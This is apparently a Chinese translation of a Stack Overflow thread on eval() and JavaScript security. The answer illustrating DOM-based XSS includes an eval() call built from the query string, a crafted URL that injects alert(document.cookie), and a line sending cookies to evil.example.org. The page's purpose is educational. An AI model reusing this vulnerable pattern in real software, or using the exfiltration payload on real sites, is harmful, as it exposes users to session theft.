JavaScript eval() 和安全性

7

developer.mozilla.org说:

不要无谓地使用eval!eval()是一个危险的函数,它使用调用者的权限执行传递给它的代码。

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

任何恶意用户都可以打开Chrome调试器,修改正在执行的JavaScript代码。因此,他可以放置自己的要执行的函数等。

通常是否有“安全的JavaScript代码”这样的东西?


2
不,所有东西都和其他东西一样安全,基本上都不安全,因为有所有的调试工具。就个人而言(我可能会因为这样说而被踢出去,但是...)我并不害怕eval(或Function)。 - Whothehellisthat
7
任何恶意用户都可以打开控制台并修改自己版本的代码,从而不影响其他人。如果您不谨慎使用eval,那么恶意代码可以在任何用户的计算机上运行。 - VLAZ
这会导致代码不够优化,但如果你不需要它进行优化,那就没关系了。 - Whothehellisthat
1
不要忘记 eval 的高性能成本。在代码中使用 eval 会阻止浏览器引擎对代码进行任何优化,影响整个页面的速度。 - Bamieh
1
@AhmadBamieh:是的,不太适合游戏循环。;P - Whothehellisthat
显示剩余8条评论
2个回答

7
任何恶意用户都可以打开Chrome调试器,修改正在执行的Javascript代码。因此,他可以放置自己的函数等待执行。
是的,用户可以使用开发者工具通过JavaScript“攻击”其自己的客户端会话。
但是,eval和开发者工具之间的区别在于eval可能会在可共享的链接中执行某些操作。攻击者可以向受害者发送一个链接,该链接利用了代码评估功能。
采用以下代码:
<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>

现在,如果查询字符串是?foo,您将收到一个提示对话框,其中显示以下内容:Your query string was ?foo 现在假设Chuck给Bob发送了一封主题为“看看这个好链接!”的电子邮件。
链接的构造方式如下: http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中www.example.com是您的网站。
这修改了由eval()执行的代码。
alert("Your query string was hello");
alert(document.cookie+"");

(为了更好的表达,我添加了一些换行符)。这将显示一个警告框,其中包含所有非httpOnly cookie。

如果攻击者进一步操作,他们可以构造一个图像链接,将会话cookie发送给自己。

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

这被称为跨站脚本攻击(XSS)。实际上,这是一种DOM型XSS攻击。

通常情况下有“安全的JavaScript代码”吗?

是的,防止XSS攻击的代码可以被视为“安全的JavaScript代码”,它保护当前用户免受跨域攻击。然而,服务器端代码如果“信任”当前最终用户不会使用开发工具修改JavaScript代码或变量以获取自己的利益,则不是安全的。

因此,安全的JavaScript代码只是能够保护当前用户的代码。


0

当然有安全的JavaScript。您可以始终修改浏览器中的JavaScript,就像您可以修改在计算机上运行的Python程序一样。

能够更改自己机器上代码的方式是微不足道的,并且不是立即的安全问题。

Eval()通常被认为是有问题的,因为它往往会使用用户生成的输入执行(我认为这种情况下真正的用例相当少)。@SilverlightFox在他的出色答案中解释了为什么可能存在问题。这归结于eval()可能被利用来在别人的机器上运行YOUR代码,而这是一个安全问题。

请注意,这不仅适用于JavaScript,大多数语言都有类似命名的函数以执行相同操作。这些函数带有类似的警告。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接